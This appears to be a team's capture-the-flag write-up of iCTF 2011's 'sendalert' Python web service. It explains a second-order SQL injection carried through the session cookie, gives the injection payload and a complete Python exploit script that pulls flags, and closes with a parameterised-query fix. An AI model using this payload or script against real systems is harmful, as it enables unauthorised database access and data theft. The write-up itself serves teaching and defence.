I know. It's a little bit late. But our team have to write these write ups for the ictf2011 organizers and I wrote it today for the sendalert service.
The service sendalert was a python webservice running on port 11111 which does …ahm ... seriously I don't know. The service got a login form and the game server constantly created new users. It uses a sqlite database which was located under “/home/sendalert/database”. The gameserver saved the flags in this database in the table “users” in the column “data”. The program used prepared sql statements for all but one query. This query was vulnerable for a sql injection. The python code for this query was in the “status” section:
cur.execute("""select username, data from users where session='%s'""" % session)
The problem with this query was, that the same session have to be saved in the database before you can use it to exploit the service. So first of all we need a registered user. When we register a user we can see in the python code that the service will give us the fix session “-”.
session = "-"
cur.execute("""insert into users (username, password, session) values (?,?,?);""", (username, password, session))
Now we have to find a way to change this session value. The only update query that alters the session lies in the depth of the login mechanism.
session = self.auth()
if session == None or session == "" or session == "-" or session == "None":
cookie = self.headers.getheaders('Cookie')
if cookie != None and len(cookie) != 0:
session = None
morsels = cookie[0].split(";");
self.logger.debug("Parsed cookie: %s" % str(morsels))
for m in morsels:
(var, val) = m.strip().split('=')
if var == self.cookie_name:
session = val
break;
else:
self.logger.debug("Session is missing, creating one (%s)" % str(session))
md5 = hashlib.md5()
md5.update(str(time.time()) + username + password + self.secret)
session = md5.hexdigest()
[...]
cur.execute("""update users set session=? where username=? and password=?""", (session, username, password))
Here we can see that if we log in with a valid user-password pair the service will read the “Cookie” value from our request and if it is set, it will change the session in the database to this value. If it is not set, a md5 hash will be generated for the session. The only thing we have to circumvent is the split for “=”.
So finally we create a user and log in. Before we log in we set our “Cookie” value to:
alertsession=' or 1<>2 order by data desc ---
(“alertsession=” is used by the service as a prefix in every session). Now we have changed our session value in the database to
alertsession=' or 1<>2 order by data desc ---
and we can exploit the service.
When we now request the page “status” from the web server with our cookie we inject the sql query mentioned in the beginning of this write up. The query will look like
select username, data from users where session='alertsession=' or 1<>2 order by data desc ---'
and finally we got the newest flag written on the web site.
A python script that will do all the magic for us looks like:
#!/usr/bin/python
import httplib
import urllib
import sys
ip = sys.argv[1]
#http://10.13.187.3:11111/status
host = "%s:11111" % ip
cookie = "alertsession=' or 1<>2 order by data desc ---"
try:
#username=fluxfingers&password=fluxfingersRules&submit=Register
params = urllib.urlencode({'username': 'fluxfingers', 'password': 'fluxfingersRules', 'submit': 'Register'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection(host)
conn.request("POST", "/register", params, headers)
response = conn.getresponse()
params = urllib.urlencode({'username': 'fluxfingers', 'password': 'fluxfingersRules', 'submit': 'Login'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": cookie}
conn = httplib.HTTPConnection(host)
conn.request("POST", "/login", params, headers)
response = conn.getresponse()
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "Cookie": cookie}
params = ""
conn = httplib.HTTPConnection(host)
conn.request("GET", "/status", params, headers)
response = conn.getresponse()
data = response.read()
except:
sys.exit(0)
positionstart = data.find("Subject: ")
positionend = data.find("",positionstart)
print data[positionstart+9:positionend]
conn.close()
To fix this issue you just have to change the line
cur.execute("""select username, data from users where session='%s'""" % session)
to
cur.execute("""select username, data from users where session=?""" , (session, ))
Now it uses prepared statements like the other queries.